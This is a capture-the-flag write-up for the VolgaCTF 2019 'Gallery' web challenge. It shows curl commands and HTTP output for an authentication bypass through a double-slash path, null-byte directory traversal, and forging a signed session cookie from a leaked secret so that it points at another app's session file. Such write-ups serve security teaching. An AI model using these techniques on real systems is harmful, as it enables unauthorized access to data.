VolgaCTF 2019 - Gallery
A not so secure image gallery

Screenshot of the main page in the browser
TL;DR
Exploitable through a combination of:
- bad path handling in NodeJS,
- path manipulation in directory listing in PHP, and
- path manipulation in
session-file-store.
Flag: VolgaCTF{31c2ac53d4101a01264775328797d424}
Discovery
- robots.txt (404 - not found)
- Website source code - interesting locations:
/js/, /css/, /api/ - Response Headers
> GET / HTTP/1.1 > Host: gallery.q.2019.volgactf.ru > User-Agent: curl/7.64.0 > Accept: */* > < HTTP/1.1 200 OK < Server: nginx/1.10.3 (Ubuntu) < Date: Mon, 01 Apr 2019 08:24:28 GMT < Content-Type: text/html < Content-Length: 2417 < Last-Modified: Wed, 30 Jan 2019 21:28:34 GMT < Connection: keep-alive < ETag: "5c521702-971" < Accept-Ranges: bytes
> GET /api/login HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:24:53 GMT
< Content-Type: text/plain; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: Express
< cache-control: no-cache, private
- Directory listings in /js/
curl -vv http://gallery.q.2019.volgactf.ru/js/
* Trying 142.93.204.169...
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET /js/ HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:26:22 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
<
<html>
<head><title>Index of /js/</title></head>
<body bgcolor="white">
<h1>Index of /js/</h1><hr><pre><a href="../">../</a>
<a href="bootstrap/">bootstrap/</a> 30-Jan-2019 09:08 -
<a href="jquery/">jquery/</a> 30-Jan-2019 09:09 -
<a href="auth.js">auth.js</a> 30-Jan-2019 11:30 312
<a href="config.js">config.js</a> 30-Jan-2019 07:46 391
<a href="index.js">index.js</a> 30-Jan-2019 11:29 1096
<a href="main.js">main.js</a> 30-Jan-2019 08:19 785
</pre><hr></body>
</html>
Conclusion: NodeJS Application (Frontend), based on X-Powered-By: Express and the files found in /js/.
Analysis
Looking in index.js, we find:
[...]
app.get(`${config.apiPrefix}/flag`, function (req, res) {
console.log(req.session);
if(req.session.name === 'admin')
res.end(fs.readFileSync('../../flag', 'utf8'));
else
res.status(403).send();
});
[...]
Let‘s call the API for the flag we found in index.js:
curl -vv http://gallery.q.2019.volgactf.ru/api/flag
* Trying 142.93.204.169...
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET /api/flag HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 403 Forbidden
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:28:20 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: Express
<
Drats, it requires authentication.
Looking further:
[...]
app.use(proxy(config.proxy));
[...]
[...]
server: {
port: 4000
},
proxy: {
target: 'http://localhost:5000',
autoRewrite: true
}
[...]
Ok, so it proxies to a backend server on port 5000 we can’t reach. NodeJS listens on port 4000, and NGINX listens on port 80. The API endpoints that NodeJS itself responds to are /api/login, /api/logout and /api/flag. Everything else is proxied and requires authentication with NodeJS/ExpressJS.
Can we get around that?
Backend
The authentication is set up to force logins for /api/*, excluding /api/login and /api/logout:
app.use(`${config.apiPrefix}/*`, auth.unless({path: config.whitelistPaths}));
Let‘s try to fool the request mapper to reach the backend:
curl http://gallery.q.2019.volgactf.ru//api/foo
Welcome to volgactf gallery backend
Excellent, we bypassed the NodeJS authentication and accessed the backend. What next? Looking at main.js
[...]
$.getJSON(`/api/images?year=${year}`, function(data) {
[...]
href: `/api/image?year=${year}&img=${img}`,
[...]
we find that /api/images and /api/image are passed to the backend. Lets‘s call one of them:
Lists files:
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=2018
["2.jpg","3.jpg","5.jpg","6.jpg","4.jpg","1.jpg"]
Download an image:
curl -vv http://gallery.q.2019.volgactf.ru//api/image\?year\=2018\&img\=1.jpg
Trying 142.93.204.169...
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET //api/image?year=2018&img=1.jpg HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:37:36 GMT
< Content-Type: image/jpeg
< Content-Length: 1255783
< Connection: keep-alive
< X-Powered-By: Express
< cache-control: public
< last-modified: Tue, 29 Jan 2019 10:29:28 GMT
< content-disposition: attachment; filename=1.jpg
< accept-ranges: bytes
<
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
* Failed writing body (0 != 13664)
* Closing connection 0
Path manipulation
Ok great, we can list images and download them. Let‘s try some path manipulation: The images themselves are more or less stock images and not at all interesting.
Let‘s try some path manipulation:
http://gallery.q.2019.volgactf.ru//api/images?year=..
Rats, it didn’t work, but we get an error page.

Interesting bits (reformatted):
[...]
<p class="break-long-words trace-message">
DirectoryIterator::__construct(/var/www/apps/volga_gallery/storage/app/../img/):
failed to open dir: No such file or directory
</p>
[...]
The /img/ part keeps us from doing directory traversal. By introducing null bytes (%00), we can cut off the string passed after %00, as the underlying function written in C/C++ works with null-terminated strings.
So will adding null bytes work?
Folder listing
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=..%00
["app","framework","logs"]
Nice – we got a folder listing. So let‘s poke around a bit.
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../..%00
["volga_gallery","volga_adminpanel","volga_auth"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_auth/%00
["login.html","node_modules","sessions","js","css","package.json","index.html"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_adminpanel%00
["sessions","app.js"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_adminpanel/sessions/%00
["euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.json"]
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../..%00
["html","flag","apps"]
Gatherings
So what‘s interesting here? The folder volga_auth is served by nginx (as its document root) on port 80 and can be inspected via the browser. The folder volga_gallery contains the backend app (as evidenced by the backtraces a Laravel PHP app) and is served by a non-public nginx on port 5000. NodeJS is reachable on port 4000. The flag is in /var/www/flag.

Crude drawing of the app’s components
The application’s package.json
The attack continues
Trying to download files
Trying to get the /api/image endpoint to read files did not work – the img parameter is passed to preg_replace with a very restrictive set of characters ([^A-Za-z0-9_.-]) and year is passed to file_exists, which is not vulnerable to null byte attacks.
http://gallery.q.2019.volgactf.ru///api/image?year=../%00&img=1.jpg
, HTML
http://gallery.q.2019.volgactf.ru///api/image?year=2018&img[0][0]=
, HTML
Session spoofing
As we didn’t manage to download files, we now look at how we can get an authentication to use the /api/flag endpoint.
We found a promising folder containing session data:
curl http://gallery.q.2019.volgactf.ru//api/images\?year\=../../../volga_adminpanel/sessions/%00
["euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.json"]
How can we use this? Looking at the NodeJS/ExpressJS app source, we find that it uses session cookies and it stores the session’s data in the file system.
[...]
const session = require('express-session');
const store = require('session-file-store')(session);
[...]
[...]
DEFAULTS: {
path: './sessions',
[...]
}
[...]
sessionPath: function (options, sessionId) {
//return path.join(basepath, sessionId + '.json');
return path.join(options.path, sessionId + options.fileExtension);
},
[...]
The directory sessions/ exists in volga_auth, but is empty.
The sessionPath construction seems to be susceptible to path manipulation.
We did find another sessions directory in volga_adminpanel – let‘s try to forge this session. With a little luck, the admin reused the secret in the other application.
We need to sign the cookie though.
Cookie signing
The session cookie is named “SESSION” and the secret is “;GmU1FSlVETF/vzEaBHP”:
session: {
name: 'SESSION',
saveUninitialized: false,
secret: ';GmU1FSlVETF/vzEaBHP',
rolling: true,
resave: false
},
To generate a valid session cookie, we have to look at the signature algorithm used:
function getcookie(req, name, secrets) {
var header = req.headers.cookie;
var raw;
var val;
// read from cookie header
if (header) {
var cookies = cookie.parse(header);
raw = cookies[name];
if (raw) {
if (raw.substr(0, 2) === 's:') {
val = unsigncookie(raw.slice(2), secrets);
if (val === false) {
debug('cookie signature invalid');
val = undefined;
}
} else {
debug('cookie unsigned')
}
}
}
[...]
[...]
exports.sign = function(val, secret){
if ('string' != typeof val) throw new TypeError("Cookie value must be provided as a string.");
if ('string' != typeof secret) throw new TypeError("Secret string must be provided.");
return val + '.' + crypto
.createHmac('sha256', secret)
.update(val)
.digest('base64')
.replace(/\=+$/, '');
};
[...]
so the corresponding HTTP header is supposed to be:
Cookies: SESSION=s:<<VALUE>>.<<SIGNATURE>>
Let‘s generate the signature:
openssl dgst -sha256 -mac hmac -macopt key:$SECRET <(echo -n $VALUE)
HMAC-SHA256(/proc/self/fd/13)= 07434928493db5ce280e2360444582bf137da93a62e48e07da4e7a143c79c269
Ok, but we need a base64 digest:
openssl dgst -sha256 -mac hmac -macopt key:$SECRET -binary <(echo -n $VALUE) | openssl base64
B0NJKEk9tc4oDiNgREWCvxN9qTpi5I4H2k56FDx5wmk=
Almost - we need to strip the ‘=’s at the end (the zero padded part):
openssl dgst -sha256 -mac hmac -macopt key:$SECRET -binary <(echo -n $VALUE) | openssl base64 | sed -re 's/=+$//'
B0NJKEk9tc4oDiNgREWCvxN9qTpi5I4H2k56FDx5wmk
Finish him!
Excellent. Now, combine it into one command and try path manipulation magic to reference volga_adminpanel’s sessions directory:
export VALUE='../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM' ; \
curl --path-as-is -L -vv -b \
"SESSION=s:${VALUE}.$(openssl dgst -sha256 -mac hmac -macopt key:';GmU1FSlVETF/vzEaBHP' -binary <(echo -n ${VALUE}) | openssl base64 | sed -re 's/=+$//')" \
http://gallery.q.2019.volgactf.ru/api/flag
* TCP_NODELAY set
* Connected to gallery.q.2019.volgactf.ru (142.93.204.169) port 80 (#0)
> GET /api/flag HTTP/1.1
> Host: gallery.q.2019.volgactf.ru
> User-Agent: curl/7.64.0
> Accept: */*
> Cookie: SESSION=s:../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB/J4sPnVj5QkDEuBu/0QelFQQqAV6yh4
>
< HTTP/1.1 200 OK
< Server: nginx/1.10.3 (Ubuntu)
< Date: Mon, 01 Apr 2019 08:58:32 GMT
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: Express
< set-cookie: SESSION=s%3A..%2F..%2Fvolga_adminpanel%2Fsessions%2Feuzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB%2FJ4sPnVj5QkDEuBu%2F0QelFQQqAV6yh4; Path=/; HttpOnly
<
VolgaCTF{31c2ac53d4101a01264775328797d424}
SUCCESS!